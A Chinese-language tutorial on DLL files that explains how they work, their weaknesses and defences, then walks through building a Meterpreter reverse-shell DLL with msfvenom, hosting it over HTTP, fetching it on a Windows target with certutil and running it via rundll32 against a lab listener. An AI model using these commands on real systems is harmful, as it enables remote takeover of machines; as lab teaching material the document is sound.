metasploit(2)生成dll木马
声明!本文章所有的工具分享仅仅只是供大家学习交流为主,切勿用于非法用途,如有任何触犯法律的行为,均与本人及团队无关!!!
一、dll文件基本概念
DLL 是一种包含可由多个程序同时使用的代码和数据的库。它允许程序在运行时动态地加载和使用其中的函数和资源,而不是将所有代码都静态地链接到可执行文件中。这样可以节省磁盘空间和内存,并且方便软件的更新和维护。
二、dll文件工作原理
1、静态链接 vs 动态链接
静态链接:在编译时,将库文件中的代码和数据直接合并到可执行文件中。这样生成的可执行文件包含了所有必要的代码,但是文件体积较大,而且如果库文件更新,需要重新编译整个程序。动态链接:在运行时,程序才会去加载所需的 DLL 文件,并将其中的函数和资源映射到自己的地址空间中。多个程序可以共享同一个 DLL 文件,减少了内存的占用。
2、 加载过程
当程序启动时,如果需要使用某个 DLL,操作系统会检查该 DLL 是否已经加载到内存中。如果 DLL 未加载,操作系统会将其加载到内存中,并为其分配一个基地址。程序通过 DLL 的导出表找到所需的函数和变量,并调用它们。
三、DLL文件的优点
节省磁盘空间和内存:多个程序可以共享同一个 DLL 文件,避免了代码的重复存储和加载。
易于更新和维护:如果 DLL 文件中的代码需要更新,只需要替换 DLL 文件即可,不需要重新编译整个程序。
模块化开发:将不同的功能封装在不同的 DLL 文件中,便于团队协作开发和代码的复用。
四、dll文件的缺点
版本兼容性问题:如果 DLL 文件的版本发生变化,可能会导致与使用该 DLL 的程序不兼容。
依赖管理复杂:程序可能依赖多个 DLL 文件,这些 DLL 文件之间也可能存在依赖关系,管理起来比较复杂。
安全性风险:恶意软件可以通过替换或注入 DLL 文件来执行恶意代码。
五、DLL 文件在渗透测试中的应用
1、反弹 Shell
如之前脚本中所示,使用 msfvenom 工具生成包含反弹 Shell 功能的 DLL 文件,然后在目标主机上执行该 DLL 文件,与攻击主机建立反向连接,从而获得目标主机的控制权。
2、权限提升
通过注入 DLL 文件到具有高权限的进程中,利用该进程的权限执行恶意代码,实现权限提升。
六、常见的 DLL 操作命令
rundll32:用于运行 DLL 文件中的指定函数。例如:rundll32 example.dll,FunctionName
regsvr32:用于注册和注销 DLL 文件。例如:regsvr32 example.dll 注册 DLL,regsvr32 /u example.dll 注销 DLL
七、安全防护措施
数字签名验证:确保 DLL 文件来自可信的发布者,通过验证数字签名来防止恶意 DLL 文件的加载。
白名单机制:只允许加载系统中预先定义的白名单中的 DLL 文件,禁止加载未知来源的 DLL 文件。
实时监控:使用杀毒软件和入侵检测系统实时监控 DLL 文件的加载和执行情况,及时发现和阻止恶意行为。
八、msf生成dll木马
1、创建dll生成脚本
vim msf_dll.sh#!/bin/baship=192.168.60.128
port=4444
arch=x86
platform=windows
format=dll
payload=windows/meterpreter/reverse_tcp# use exploit/multi/handlerout=$HOME/Desktop/a.dllmsfvenom -p $payload LHOST=$ip LPORT=$port -f $format -a $arch --platform $platform -o $out
2、执行脚本创建dll木马
chmod +x msf_dll.sh
./msf_dll.sh
九、windows运行dll木马
1、攻击机创建http微服务
python -m http.server 8008
2、攻击机建立监听
nc -lvvp 4444
3、windows下载dll木马
certutil -urlcache -split -f "http://192.168.60.128:8008/a.dll" a.dll
4、windows靶机执行dll木马
rundll32 D:\a.dll,DllMain